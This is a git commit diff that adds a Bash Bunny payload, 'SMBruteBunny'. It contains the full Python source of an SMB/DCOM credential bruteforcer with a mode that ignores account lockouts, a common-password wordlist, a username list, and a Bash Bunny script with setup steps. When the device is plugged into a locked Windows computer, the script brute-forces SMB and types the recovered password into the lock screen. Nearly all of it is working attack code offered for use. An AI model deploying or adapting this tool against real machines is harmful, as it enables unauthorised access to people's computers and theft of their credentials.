Merge pull request #383 from SymbianSyMoh/master
Yet another but FASTER SMB Bruteforce payload for Bash Bunnypull/391/head
commit
d67b95a220
|
@ -0,0 +1,29 @@
|
|||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, Corey Gilks
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
## Description
|
||||
Initiate a Microsoft Management Console (MMC) DCOM bruteforce. This script was inspired by mmcexec.py in the impacket library. The idea is to use the error codes that return after an attempted connection to determine if credentials are valid.
|
||||
|
||||
This script is useful for environments where smb logins are disabled, thus preventing the smb reverse bruteforce. The target must be a domain joined windows host with the windows firewall off. The firewall must be off because by default because DCOM connections are not authorized by the Windows Firewall.
|
||||
|
||||
By default, the script will not show failed login attempts. To view failed login attempts you must specify the verbose option, -v. The script is also designed to quit if an account lockout is detected. If this is not desired you must specify honey badger mode, -b. You are also able to tell mmcbrute that you want to try user as pass by specifying -U. See the help menu for a full list of options (-h).
|
||||
|
||||
A progress bar will update in real time to let you know how the attack is progressing. There's nothing more frustrating than a bruteforcer that doesn't provide any feedback as it's running.
|
||||
|
||||
## Output
|
||||
![honey badger mode](https://user-images.githubusercontent.com/11075149/33751087-62af2cec-dba6-11e7-9924-ae7445125768.png)
|
||||
|
||||
## Requirements
|
||||
The impacket library is required in order to run this script.
|
||||
```
|
||||
pip2 install impacket
|
||||
```
|
||||
|
||||
If that fails, you can get the library from here.
|
||||
```
|
||||
https://github.com/CoreSecurity/impacket
|
||||
```
|
||||
|
||||
## Example Usage:
|
||||
users.txt = Unique usernames separated by new lines
|
||||
|
||||
pass.txt = Unique passwords separated by new lines
|
||||
```
|
||||
./mmcbrute.py -t 10.10.10.10 -d DOMAIN -u users.txt -p pass.txt
|
||||
```
|
|
@ -0,0 +1,189 @@
|
|||
#!/usr/bin/python2
|
||||
#
|
||||
# mmcbrute.py
|
||||
#
|
||||
# Copyright 2017 Corey Gilks <CoreyGilks [at] gmail [dot] com>
|
||||
# Twitter: @CoreyGilks
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
||||
# MA 02110-1301, USA.
|
||||
|
||||
import argparse
|
||||
import datetime
|
||||
import sys
|
||||
import os
|
||||
import logging
|
||||
|
||||
try:
|
||||
from impacket.smbconnection import SMBConnection
|
||||
except ImportError:
|
||||
print 'You must install impacket before continuing'
|
||||
sys.exit(os.EX_SOFTWARE)
|
||||
|
||||
def is_readable_file(path):
|
||||
return os.path.isfile(path) and os.access(path, os.R_OK)
|
||||
|
||||
class MMCBrute(object):
|
||||
def __init__(self, usernames, passwords, domain, target, user_as_pass=False, honeybadger=False, verbose=False, loglvl='INFO'):
|
||||
self.usernames = open(usernames, 'r')
|
||||
self.len_usernames = sum((1 for _ in self.usernames))
|
||||
self.usernames.seek(os.SEEK_SET)
|
||||
self.domain = domain
|
||||
self.target = target
|
||||
self.honeybadger = honeybadger
|
||||
self.verbose = verbose
|
||||
self.user_as_pass = user_as_pass
|
||||
self.log = logging.getLogger(logging.basicConfig(level=getattr(logging, loglvl), format=''))
|
||||
self.count = 0
|
||||
self.len_passwords = 0
|
||||
|
||||
if passwords is not None:
|
||||
self.passwords = open(passwords, 'r')
|
||||
self.len_passwords = sum((1 for _ in self.passwords))
|
||||
self.passwords.seek(os.SEEK_SET)
|
||||
|
||||
if self.user_as_pass and passwords is not None:
|
||||
self.len_passwords += 1
|
||||
|
||||
elif self.user_as_pass:
|
||||
self.passwords = False
|
||||
self.len_passwords += 1
|
||||
|
||||
self.totals = self.len_usernames * self.len_passwords
|
||||
|
||||
@classmethod
|
||||
def from_args(cls, args):
|
||||
return cls(args.usernames, args.passwords, args.domain, args.target, args.uap, args.hb, args.verbose, args.loglvl)
|
||||
|
||||
def update_progress(self):
|
||||
self.count += 1
|
||||
sys.stdout.write("Progress: {0}/{1} ({2}%) \r".format(self.count, self.totals, (100 * self.count / self.totals)))
|
||||
sys.stdout.flush()
|
||||
|
||||
def run(self):
|
||||
smb_connection = SMBConnection(self.target, self.target)
|
||||
for user in enumerate(self.usernames):
|
||||
user = user[-1].strip()
|
||||
if self.user_as_pass:
|
||||
self.update_progress()
|
||||
next_user = self.login(self.domain, user, user, smb_connection)
|
||||
if next_user:
|
||||
# Restablish smb_connection to avoid false positves
|
||||
smb_connection.close()
|
||||
smb_connection = SMBConnection(self.target, self.target)
|
||||
continue
|
||||
|
||||
if self.passwords:
|
||||
self.passwords.seek(os.SEEK_SET)
|
||||
for password in enumerate(self.passwords):
|
||||
self.update_progress()
|
||||
next_user = self.login(self.domain, user, password[-1].strip(), smb_connection)
|
||||
if next_user:
|
||||
# Restablish smb_connection to avoid false positves
|
||||
smb_connection.close()
|
||||
smb_connection = SMBConnection(self.target, self.target)
|
||||
break
|
||||
|
||||
def login(self, domain, username, password, smb_connection):
|
||||
attempt = "{0}/{1}:{2}".format(domain, username, password)
|
||||
try:
|
||||
# This line will always raise an exception unless the credentials can initiate an smb connection
|
||||
smb_connection.login(username, password, domain)
|
||||
self.log.info("[+] Success (Account Active) {0}".format(attempt))
|
||||
return True
|
||||
|
||||
except Exception as msg:
|
||||
msg = str(msg)
|
||||
if 'STATUS_NO_LOGON_SERVERS' in msg:
|
||||
self.log.info('[-] No Logon Servers Available')
|
||||
sys.exit(os.EX_SOFTWARE)
|
||||
|
||||
elif 'STATUS_LOGON_FAILURE' in msg:
|
||||
if self.verbose:
|
||||
self.log.info("[-] Failed {0}".format(attempt))
|
||||
return False
|
||||
|
||||
elif 'STATUS_ACCOUNT_LOCKED_OUT' in msg:
|
||||
print "[-] Account Locked Out {0}".format(attempt)
|
||||
if not self.honeybadger:
|
||||
self.log.info(
|
||||
'[!] Honey Badger mode not enabled. Halting to prevent further lockouts..')
|
||||
answer = str(raw_input('[!] Would you like to proceed with the bruteforce? (Y/N) '))
|
||||
if answer.lower() in ["y", "yes", ""]:
|
||||
self.log.info('[*] Resuming...')
|
||||
return False
|
||||
else:
|
||||
self.log.info('[-]Exiting...')
|
||||
sys.exit(os.EX_SOFTWARE)
|
||||
|
||||
elif 'STATUS_PASSWORD_MUST_CHANGE' in msg:
|
||||
self.log.info("[+] Success (User never logged in to change password) {0}".format(attempt))
|
||||
|
||||
elif 'STATUS_ACCESS_DENIED' in msg or 'STATUS_LOGON_TYPE_NOT_GRANTED' in msg:
|
||||
self.log.info("[+] Success (Account Active) {0}".format(attempt))
|
||||
|
||||
elif 'STATUS_PASSWORD_EXPIRED' in msg:
|
||||
self.log.info("[+] Success (Password Expired) {0}".format(attempt))
|
||||
|
||||
elif 'STATUS_ACCOUNT_DISABLED' in msg:
|
||||
self.log.info("[-] Valid Password (Account Disabled) {0}".format(attempt))
|
||||
|
||||
else:
|
||||
self.log.info("[-] Unknown error: {0}\t{1}".format(msg, attempt))
|
||||
return True
|
||||
|
||||
def end(self):
|
||||
self.log.info("\nEnded at:\t\t{0:%I:%M %p on %B %d, %Y}\n".format(datetime.datetime.now()))
|
||||
|
||||
def info(self):
|
||||
self.log.info("Target:\t\t\t{0}".format(self.target))
|
||||
self.log.info("Username count:\t\t{0}".format(self.len_usernames))
|
||||
self.log.info("Password count:\t\t{0}".format(self.len_passwords))
|
||||
self.log.info("Estimated attempts:\t{0}".format(self.totals))
|
||||
self.log.info("User-as-Pass Mode:\t{0!r}".format(self.user_as_pass))
|
||||
self.log.info("Honey Badger Mode:\t{0!r}".format(self.honeybadger))
|
||||
self.log.info("Verbose:\t\t{0!r}".format(self.verbose))
|
||||
self.log.info("Time:\t\t\t{0:%I:%M %p on %B %d, %Y}\n".format(datetime.datetime.now()))
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(add_help=True, description='Use MMC DCOM to bruteforce valid credentials')
|
||||
parser.add_argument('-L', dest='loglvl', action='store', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'], default='INFO', help='set the logging level')
|
||||
group = parser.add_argument_group('Bruteforce options')
|
||||
group.add_argument('-t', '--target', action='store', required=True, dest='target', help='Windows domain joined IP address')
|
||||
group.add_argument('-d', '--domain', action='store', default='.', dest='domain', help='Target domain name (same domain you prepend a username with to login)')
|
||||
group.add_argument('-p', '--passwords', action='store', dest='passwords', help='Text file of passwords')
|
||||
group.add_argument('-U', '--user-as-pass', action='store_true', dest='uap', help='Attempt to login with user as pass')
|
||||
group.add_argument('-u', '--usernames', action='store', required=True, dest='usernames', help='Text file of usernames')
|
||||
group.add_argument('-b', '--honeybadger', action='store_true', dest='hb', help='Enable Honey Badger mode (ignore account locks out)')
|
||||
group.add_argument('-v', '--verbose', action='store_true', dest='verbose', help='Show failed bruteforce attempts')
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.passwords is None and options.uap is False:
|
||||
parser.error('The --passwords or --user-as-pass option is required')
|
||||
|
||||
if not is_readable_file(options.usernames):
|
||||
parser.error('The --usernames option must be a readable file')
|
||||
|
||||
if options.passwords is not None and not is_readable_file(options.passwords):
|
||||
parser.error('The --passwords option must be a readable file')
|
||||
|
||||
try:
|
||||
brute = MMCBrute.from_args(options)
|
||||
brute.info()
|
||||
brute.run()
|
||||
except KeyboardInterrupt:
|
||||
print('\n[*] Caught ctrl-c, exiting')
|
||||
finally:
|
||||
brute.end()
|
|
@ -0,0 +1,100 @@
|
|||
123456
|
||||
password
|
||||
12345678
|
||||
qwerty
|
||||
123456789
|
||||
12345
|
||||
1234
|
||||
111111
|
||||
1234567
|
||||
dragon
|
||||
123123
|
||||
baseball
|
||||
abc123
|
||||
football
|
||||
monkey
|
||||
letmein
|
||||
696969
|
||||
shadow
|
||||
master
|
||||
666666
|
||||
qwertyuiop
|
||||
123321
|
||||
mustang
|
||||
1234567890
|
||||
michael
|
||||
654321
|
||||
pussy
|
||||
superman
|
||||
1qaz2wsx
|
||||
7777777
|
||||
fuckyou
|
||||
121212
|
||||
000000
|
||||
qazwsx
|
||||
123qwe
|
||||
killer
|
||||
trustno1
|
||||
jordan
|
||||
jennifer
|
||||
zxcvbnm
|
||||
asdfgh
|
||||
hunter
|
||||
buster
|
||||
soccer
|
||||
harley
|
||||
batman
|
||||
andrew
|
||||
tigger
|
||||
sunshine
|
||||
iloveyou
|
||||
fuckme
|
||||
2000
|
||||
charlie
|
||||
robert
|
||||
thomas
|
||||
hockey
|
||||
ranger
|
||||
daniel
|
||||
starwars
|
||||
klaster
|
||||
112233
|
||||
george
|
||||
asshole
|
||||
computer
|
||||
michelle
|
||||
jessica
|
||||
pepper
|
||||
1111
|
||||
zxcvbn
|
||||
555555
|
||||
11111111
|
||||
131313
|
||||
freedom
|
||||
777777
|
||||
pass
|
||||
fuck
|
||||
maggie
|
||||
159753
|
||||
aaaaaa
|
||||
ginger
|
||||
princess
|
||||
joshua
|
||||
cheese
|
||||
amanda
|
||||
summer
|
||||
love
|
||||
ashley
|
||||
6969
|
||||
nicole
|
||||
chelsea
|
||||
biteme
|
||||
matthew
|
||||
access
|
||||
yankees
|
||||
987654321
|
||||
dallas
|
||||
austin
|
||||
thunder
|
||||
taylor
|
||||
matrix
|
|
@ -0,0 +1,70 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Title: SMBruteBunny
|
||||
# Author: Mohamed A. Baset (@SymbianSyMoh)
|
||||
# Version: 1.0
|
||||
# Targets: Windows
|
||||
# Attack Modes: HID, RNDIS_ETHERNET
|
||||
# Description: Bruteforces open Windows SMB protocol for valid Credentials against the bruteforce
|
||||
# dictionnary stored in variables "$user_bruteforce_list" and "$pass_bruteforce_list"
|
||||
# then dump the results in text file stored in variable "$password_process_file" then
|
||||
# check for valid or invalid credentials, if valid creds found, store it loot in varaible
|
||||
# "$password_loot_file" then quack it to unlock the machine.
|
||||
#
|
||||
# LEDS:
|
||||
# SETUP: Script Setup Stage.
|
||||
# STAGE1: Script Stage1 Initialized "Bruteforcing the open SMB for valid Credentials".
|
||||
# STAGE2: Script Stage2 Initialized "Checking Bruteforce results".
|
||||
# GREEN: SMB Credentials Found.
|
||||
# FAIL: SMB Credentials Not Found.
|
||||
# CLEANUP: Cleaning up and Syncing filesystem.
|
||||
# FINISH: Finished.
|
||||
|
||||
|
||||
# Setup
|
||||
LED SETUP
|
||||
REQUIRETOOL impacket
|
||||
CUCUMBER PLAID
|
||||
mount /dev/nandf /root/udisk/
|
||||
GET SWITCH_POSITION
|
||||
BBSWITCH="/root/udisk/payloads/$SWITCH_POSITION"
|
||||
password_process_file="$BBSWITCH/ppf.txt"
|
||||
password_loot_file="$BBSWITCH/credentials.txt"
|
||||
user_bruteforce_list="$BBSWITCH/userlist.txt"
|
||||
pass_bruteforce_list="$BBSWITCH/passlist.txt"
|
||||
mmcbrute_path="$BBSWITCH/mmcbrute"
|
||||
ATTACKMODE HID RNDIS_ETHERNET
|
||||
GET TARGET_IP
|
||||
GET TARGET_HOSTNAME
|
||||
|
||||
# A little trick: Sometimes the host name is the same as the username so we will add it to the username and the password wordlists automatically to be used during the brute force attack.
|
||||
echo $TARGET_HOSTNAME >> $user_bruteforce_list
|
||||
echo $TARGET_HOSTNAME >> $pass_bruteforce_list
|
||||
|
||||
# Perform SMB bruteforce attack
|
||||
LED STAGE1
|
||||
python $mmcbrute_path/mmcbrute.py -t $TARGET_IP -u $user_bruteforce_list -p $pass_bruteforce_list 2> $password_process_file
|
||||
|
||||
# Check for results
|
||||
LED STAGE2
|
||||
if grep -q "Success" $password_process_file; then
|
||||
LED G
|
||||
|
||||
# Extract and Store the loot, then quack it
|
||||
pass=$(cat $password_process_file | grep "./" | cut -d "/" -f 2 | cut -d ":" -f 2)
|
||||
echo "Machine: $TARGET_HOSTNAME - User: $user - Pass: $pass" >> $password_loot_file
|
||||
|
||||
# Waking up the screen if sleeping, if not, pressing "ESC" won't affect anything
|
||||
QUACK ESC
|
||||
sleep 1
|
||||
QUACK STRING $pass
|
||||
sleep 1
|
||||
QUACK ENTER
|
||||
else
|
||||
LED FAIL
|
||||
fi
|
||||
|
||||
# Finishing
|
||||
LED CLEANUP
|
||||
sync; sleep 1; sync
|
||||
LED FINISH
|
|
@ -0,0 +1,42 @@
|
|||
# SMBruteBunny
|
||||
```
|
||||
/ \
|
||||
/ _ \
|
||||
| / \ |
|
||||
|| || _______
|
||||
|| || |\ \
|
||||
|| || ||\ \
|
||||
|| || || \ |
|
||||
|| || || \__/
|
||||
|| || || ||
|
||||
\\_/ \_/ \_//
|
||||
/ _ _ \
|
||||
/ \
|
||||
| O O |
|
||||
| \ ___ / |
|
||||
/ \ \_/ / \
|
||||
/ ----- | --\ \
|
||||
| \__/|\__/ \ |
|
||||
\ |_|_| /
|
||||
\_____ S M B ____/
|
||||
\ /
|
||||
| |
|
||||
|
||||
------------------------------------------------
|
||||
SMBruteBunny by: @SymbianSyMoh
|
||||
```
|
||||
* Author: Mohamed A. Baset aka [@SymbianSyMoh](https://twitter.com/symbiansymoh)
|
||||
|
||||
## Description
|
||||
This payload exploits the inherited trust between USB pripherals and computers by setting up an RNDIS interface that works as a DHCP server and offer leases to the connected hosts then it can see the open SMB port which is 445 hence the bruteforcing process starts and once the password is found it will be entered to the lock screen via HID script and unlocking the target machine.
|
||||
|
||||
## What to expect?
|
||||
Once the password found it will be stored under the "loot" folder and will be entered automatically in the lock screen resulting in unlocking the targeted machine.
|
||||
|
||||
## Setup
|
||||
1. Copy the payload files to the desired Bash Bunny switch.
|
||||
2. Switch to the switch which contains the payload
|
||||
3. Plug the BashBunny in a locked computer, once the DHCP lease is being offered it will perform SMB bruteforce attack and once succeded it will fire HID script to enter the password and unlock the machine.
|
||||
|
||||
## Credits
|
||||
[Corey Gilks](https://github.com/Gilks) for [mmcbrute](https://github.com/Gilks/mmcbrute)
|
|
@ -0,0 +1,5 @@
|
|||
admin
|
||||
administrator
|
||||
administrador
|
||||
guest
|
||||
user
|
Loading…
Reference in New Issue